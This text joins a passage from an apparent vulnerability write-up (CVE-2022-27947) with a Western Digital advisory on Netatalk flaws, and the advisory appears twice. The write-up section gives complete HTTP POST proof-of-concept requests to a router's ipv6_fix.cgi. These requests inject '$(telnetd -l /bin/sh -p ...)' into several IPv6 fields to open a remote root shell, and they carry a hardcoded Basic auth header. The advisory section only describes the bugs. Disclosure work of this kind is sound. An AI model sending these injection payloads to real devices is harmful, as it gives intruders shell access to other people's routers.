    apply=Apply&login_type=Fixed&IPv6WanAddr1=2001&IPv6WanAddr2=0000&IPv6WanAddr3=0000&IPv6WanAddr4=0000&IPv6WanAddr5=0000&IPv6WanAddr6=0000&IPv6WanAddr7=0000&IPv6WanAddr8=0000&ProfixWanLength=64&IPv6Gateway1=2001&IPv6Gateway2=0000&IPv6Gateway3=0000&IPv6Gateway4=0000&IPv6Gateway5=0000&IPv6Gateway6=0000&IPv6Gateway7=0000&IPv6Gateway8=0001&DAddr1=2001&DAddr2=0000&DAddr3=0000&DAddr4=0000&DAddr5=0000&DAddr6=0000&DAddr7=0000&DAddr8=0002&PDAddr1=&PDAddr2=&PDAddr3=&PDAddr4=&PDAddr5=&PDAddr6=&PDAddr7=&PDAddr8=&IpAssign=auto&IPv6LanAddr1=2002&IPv6LanAddr2=0000&IPv6LanAddr3=0000&IPv6LanAddr4=0000&IPv6LanAddr5=0000&IPv6LanAddr6=0000&IPv6LanAddr7=0000&IPv6LanAddr8=0001&ProfixLanLength=64&ipv6_wan_ipaddr=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000&ipv6_lan_ipaddr=%24%28telnetd+-l+%2Fbin%2Fsh+-p+10000+-b+0.0.0.0%29&ipv6_wan_length=64&ipv6_lan_length=64&ipv6_pri_dns=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0002&ipv6_sec_dns=%3A%3A%3A%3A%3A%3A%3A&ipv6_wan_gateway=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0001&ipv6_enable_dhcp=&ipv6_proto=fixed
    

And as we can see, after send the craft request, the command is actually executed, and we can get a shell.

![image-20220321140711686](https://github.com/donothingme/VUL/raw/main/vul1/1.assets/image-20220321140711686.png)

**vulnerability point3**

In `ipv6_wan_length` filed, if we set the filed equal to `%24%28telnetd+-l+%2Fbin%2Fsh+-p+11111+-b+0.0.0.0%29`,we can actually execute command which `$(telnetd -l /bin/sh -p 11111-b 0.0.0.0)`.

![image-20220321141223903](https://github.com/donothingme/VUL/raw/main/vul1/1.assets/image-20220321141223903.png)

The POC like follows:

    POST /ipv6_fix.cgi?id=14f6201985986f34fc5b9f88600e017cbf67d002b45a03f48ebb8b6396edc3f4 HTTP/1.1
    Host: 192.168.1.1
    Proxy-Connection: keep-alive
    Content-Length: 1066
    Cache-Control: max-age=0
    Authorization: Basic YWRtaW46cGFzc3dvcmQ=
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.1.1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.1.1/IPV6_fixed.htm
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
    Cookie: XSRF_TOKEN=2558749239
    
    apply=Apply&login_type=Fixed&IPv6WanAddr1=2001&IPv6WanAddr2=0000&IPv6WanAddr3=0000&IPv6WanAddr4=0000&IPv6WanAddr5=0000&IPv6WanAddr6=0000&IPv6WanAddr7=0000&IPv6WanAddr8=0000&ProfixWanLength=64&IPv6Gateway1=2001&IPv6Gateway2=0000&IPv6Gateway3=0000&IPv6Gateway4=0000&IPv6Gateway5=0000&IPv6Gateway6=0000&IPv6Gateway7=0000&IPv6Gateway8=0001&DAddr1=2001&DAddr2=0000&DAddr3=0000&DAddr4=0000&DAddr5=0000&DAddr6=0000&DAddr7=0000&DAddr8=0002&PDAddr1=&PDAddr2=&PDAddr3=&PDAddr4=&PDAddr5=&PDAddr6=&PDAddr7=&PDAddr8=&IpAssign=auto&IPv6LanAddr1=2002&IPv6LanAddr2=0000&IPv6LanAddr3=0000&IPv6LanAddr4=0000&IPv6LanAddr5=0000&IPv6LanAddr6=0000&IPv6LanAddr7=0000&IPv6LanAddr8=0000&ProfixLanLength=64&ipv6_wan_ipaddr=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000&ipv6_lan_ipaddr=2002%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000&ipv6_wan_length=%24%28telnetd+-l+%2Fbin%2Fsh+-p+11111+-b+0.0.0.0%29&ipv6_lan_length=64&ipv6_pri_dns=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0002&ipv6_sec_dns=%3A%3A%3A%3A%3A%3A%3A&ipv6_wan_gateway=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0001&ipv6_enable_dhcp=&ipv6_proto=fixed
    

And as we can see, after send the craft request, the command is actually executed, and we can get a shell.

![image-20220321141706848](https://github.com/donothingme/VUL/raw/main/vul1/1.assets/image-20220321141706848.png)

**vulnerability point4**

In `ipv6_lan_length` filed, if we set the filed equal to `%24%28telnetd+-l+%2Fbin%2Fsh+-p+22222+-b+0.0.0.0%29`,we can actually execute command which `$(telnetd -l /bin/sh -p 22222-b 0.0.0.0)`.

![image-20220321141804075](https://github.com/donothingme/VUL/raw/main/vul1/1.assets/image-20220321141804075.png)

The POC like follows:

    POST /ipv6_fix.cgi?id=211c9d0df6eb050404a90986a1f6b103d6f37b6a750dd1724caf349ff6393451 HTTP/1.1
    Host: 192.168.1.1
    Proxy-Connection: keep-alive
    Content-Length: 1064
    Cache-Control: max-age=0
    Authorization: Basic YWRtaW46cGFzc3dvcmQ=
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.1.1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.1.1/IPV6_fixed.htm
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
    Cookie: XSRF_TOKEN=4125904923
    
    apply=%E5%BA%94%E7%94%A8&login_type=%E9%9D%99%E6%80%81&IPv6WanAddr1=2001&IPv6WanAddr2=0000&IPv6WanAddr3=0000&IPv6WanAddr4=0000&IPv6WanAddr5=0000&IPv6WanAddr6=0000&IPv6WanAddr7=0000&IPv6WanAddr8=0000&ProfixWanLength=64&IPv6Gateway1=2001&IPv6Gateway2=0000&IPv6Gateway3=0000&IPv6Gateway4=0000&IPv6Gateway5=0000&IPv6Gateway6=0000&IPv6Gateway7=0000&IPv6Gateway8=0002&DAddr1=2001&DAddr2=0000&DAddr3=0000&DAddr4=0000&DAddr5=0000&DAddr6=0000&DAddr7=0000&DAddr8=0003&PDAddr1=&PDAddr2=&PDAddr3=&PDAddr4=&PDAddr5=&PDAddr6=&PDAddr7=&PDAddr8=&IpAssign=auto&IPv6LanAddr1=2002&IPv6LanAddr2=0000&IPv6LanAddr3=0000&IPv6LanAddr4=0000&IPv6LanAddr5=0000&IPv6LanAddr6=0000&IPv6LanAddr7=0000&IPv6LanAddr8=0001&ProfixLanLength=64&ipv6_wan_ipaddr=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000&ipv6_lan_ipaddr=2002%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0001&ipv6_wan_length=64&ipv6_lan_length=%24%28telnetd+-l+%2Fbin%2Fsh+-p+22222+-b+0.0.0.0%29&ipv6_pri_dns=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0003&ipv6_sec_dns=%3A%3A%3A%3A%3A%3A%3A&ipv6_wan_gateway=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0002&ipv6_enable_dhcp=&ipv6_proto=fixed
    

And as we can see, after send the craft request, the command is actually executed, and we can get a shell.

![image-20220321142518762](https://github.com/donothingme/VUL/raw/main/vul1/1.assets/image-20220321142518762.png)

CVE-2022-27947: VUL/1.md at main · donothingme/VUL

The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code.

**WDC Tracking Number:** WDC-22005  
**Published:** March 24, 2022

**Last Updated:** March 24, 2022

**Description**

Netatalk is an open-source Apple File Protocol fileserver that was being used by Western Digital products to access network shares and perform Time Machine backups. Multiple critical vulnerabilities have been discovered in Netatalk. Because Netatalk is unmaintained, we have removed Netatalk from our firmware released on January 10, 2022. Users can continue to access local network shares and perform Time Machine backup via SMB. For additional information, please refer to this KBA.

To take advantage of the latest security fixes, Western Digital recommends that users promptly update their devices to the latest firmware by clicking on the firmware update notification.

**Product Impact**

**Minimum Fix Version**

**Last Updated**

My Cloud PR2100

5.19.117

January 10, 2022

My Cloud PR4100

5.19.117

January 10, 2022

My Cloud EX4100

5.19.117

January 10, 2022

My Cloud EX2 Ultra

5.19.117

January 10, 2022

My Cloud Mirror Gen 2

5.19.117

January 10, 2022

My Cloud DL2100

5.19.117

January 10, 2022

My Cloud DL4100

5.19.117

January 10, 2022

My Cloud EX2100

5.19.117

January 10, 2022

My Cloud

5.19.117

January 10, 2022

WD Cloud

5.19.117

January 10, 2022

My Cloud Home

7.16-220

January 10, 2022

**Advisory Summary**

A stack-based buffer overflow vulnerability was discovered within the ad\_addcomment function that could lead to an unauthenticated remote code execution. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer.

**CVE Number:** CVE-2022-0194

**Reported By:** Theori (@theori\_io) working with Trend Micro’s Zero Day Initiative

An improper handling of exceptional conditions issue was found in the parse\_entries function that did not properly handle parsing AppleDouble entries. This vulnerability could allow a remote attacker to carry out an unauthenticated remote command execution on affected versions of Netatalk.

**CVE Number:** CVE-2022-23121

**Reporteb By:** NCC Group EDG (Alex Plaskett, Cedric Halbronn, Aaron Adams) working with Trend Micro’s Zero Day Initiative

A stack-based buffer overflow vulnerability was discovered within the setfilparams function that could lead to an unauthenticated remote code execution. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer.

**CVE Number:** CVE-2022-23122

**Reported By:** Orange Tsai (@orange\_8361) from DEVCORE Research Team working with Trend Micro’s Zero Day Initiative

An out-of-bounds read information disclosure vulnerability was discovered in the getdirparams method that could allow an attacker to disclose sensitive information or carry out an unauthenticated remote code execution on the device. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer.

**CVE Number:** CVE-2022-23123

**Reported By:** Orange Tsai (@orange\_8361) from DEVCORE Research Team working with Trend Micro’s Zero Day Initiative

An out-of-bounds read information disclosure vulnerability was discovered in the get\_finderinfo method that could allow an attacker to disclose sensitive information or carry out an unauthenticated remote code execution on the device. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer.

**CVE Number:** CVE-2022-23124

**Reported By:** Theori (@theori\_io) working with Trend Micro’s Zero Day Initiative

A stack-based buffer overflow vulnerability was discovered within the copyapplfile function that could lead to an unauthenticated remote code execution. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer.

**CVE Number:** CVE-2022-23125

**Reported By:** Theori (@theori\_io) working with Trend Micro’s Zero Day Initiative

The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code.

**CVE Number:** CVE-2022-22995

**Reported By:** Corentin BAYET (@OnlyTheDuck), Etienne HELLUY-LAFONT and Luca MORO (@johncool\_\_) from Synacktiv working with Trend Micro’s Zero Day Initiative

*      
    
    {{ skuObj.title.length < 15 ? skuObj.title : skuObj.title.substring(0,14) + "..." }}

CVE-2022-22995: WDC-22005 Netatalk Security Vulnerabilities | Western Digital

**WDC Tracking Number:** WDC-22005  
**Published:** March 24, 2022

**Last Updated:** March 24, 2022

**Description**

Netatalk is an open-source Apple File Protocol fileserver that was being used by Western Digital products to access network shares and perform Time Machine backups. Multiple critical vulnerabilities have been discovered in Netatalk. Because Netatalk is unmaintained, we have removed Netatalk from our firmware released on January 10, 2022. Users can continue to access local network shares and perform Time Machine backup via SMB. For additional information, please refer to this KBA.

To take advantage of the latest security fixes, Western Digital recommends that users promptly update their devices to the latest firmware by clicking on the firmware update notification.

**Product Impact**

**Minimum Fix Version**

**Last Updated**

My Cloud PR2100

5.19.117

January 10, 2022

My Cloud PR4100

5.19.117

January 10, 2022

My Cloud EX4100

5.19.117

January 10, 2022

My Cloud EX2 Ultra

5.19.117

January 10, 2022

My Cloud Mirror Gen 2

5.19.117

January 10, 2022

My Cloud DL2100

5.19.117

January 10, 2022

My Cloud DL4100

5.19.117

January 10, 2022

My Cloud EX2100

5.19.117

January 10, 2022

My Cloud

5.19.117

January 10, 2022

WD Cloud

5.19.117

January 10, 2022

My Cloud Home

7.16-220

January 10, 2022

**Advisory Summary**

A stack-based buffer overflow vulnerability was discovered within the ad\_addcomment function that could lead to an unauthenticated remote code execution. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer.

**CVE Number:** CVE-2022-0194

**Reported By:** Theori (@theori\_io) working with Trend Micro’s Zero Day Initiative

An improper handling of exceptional conditions issue was found in the parse\_entries function that did not properly handle parsing AppleDouble entries. This vulnerability could allow a remote attacker to carry out an unauthenticated remote command execution on affected versions of Netatalk.

**CVE Number:** CVE-2022-23121

**Reporteb By:** NCC Group EDG (Alex Plaskett, Cedric Halbronn, Aaron Adams) working with Trend Micro’s Zero Day Initiative

A stack-based buffer overflow vulnerability was discovered within the setfilparams function that could lead to an unauthenticated remote code execution. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer.

**CVE Number:** CVE-2022-23122

**Reported By:** Orange Tsai (@orange\_8361) from DEVCORE Research Team working with Trend Micro’s Zero Day Initiative

An out-of-bounds read information disclosure vulnerability was discovered in the getdirparams method that could allow an attacker to disclose sensitive information or carry out an unauthenticated remote code execution on the device. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer.

**CVE Number:** CVE-2022-23123

**Reported By:** Orange Tsai (@orange\_8361) from DEVCORE Research Team working with Trend Micro’s Zero Day Initiative

An out-of-bounds read information disclosure vulnerability was discovered in the get\_finderinfo method that could allow an attacker to disclose sensitive information or carry out an unauthenticated remote code execution on the device. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer.

**CVE Number:** CVE-2022-23124

**Reported By:** Theori (@theori\_io) working with Trend Micro’s Zero Day Initiative

A stack-based buffer overflow vulnerability was discovered within the copyapplfile function that could lead to an unauthenticated remote code execution. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer.

**CVE Number:** CVE-2022-23125

**Reported By:** Theori (@theori\_io) working with Trend Micro’s Zero Day Initiative

The combination of primitives offered by SMB and AFP in their default configuration allows the arbitrary writing of files. By exploiting these combination of primitives, an attacker can execute arbitrary code.

**CVE Number:** CVE-2022-22995

**Reported By:** Corentin BAYET (@OnlyTheDuck), Etienne HELLUY-LAFONT and Luca MORO (@johncool\_\_) from Synacktiv working with Trend Micro’s Zero Day Initiative

Tag

#apple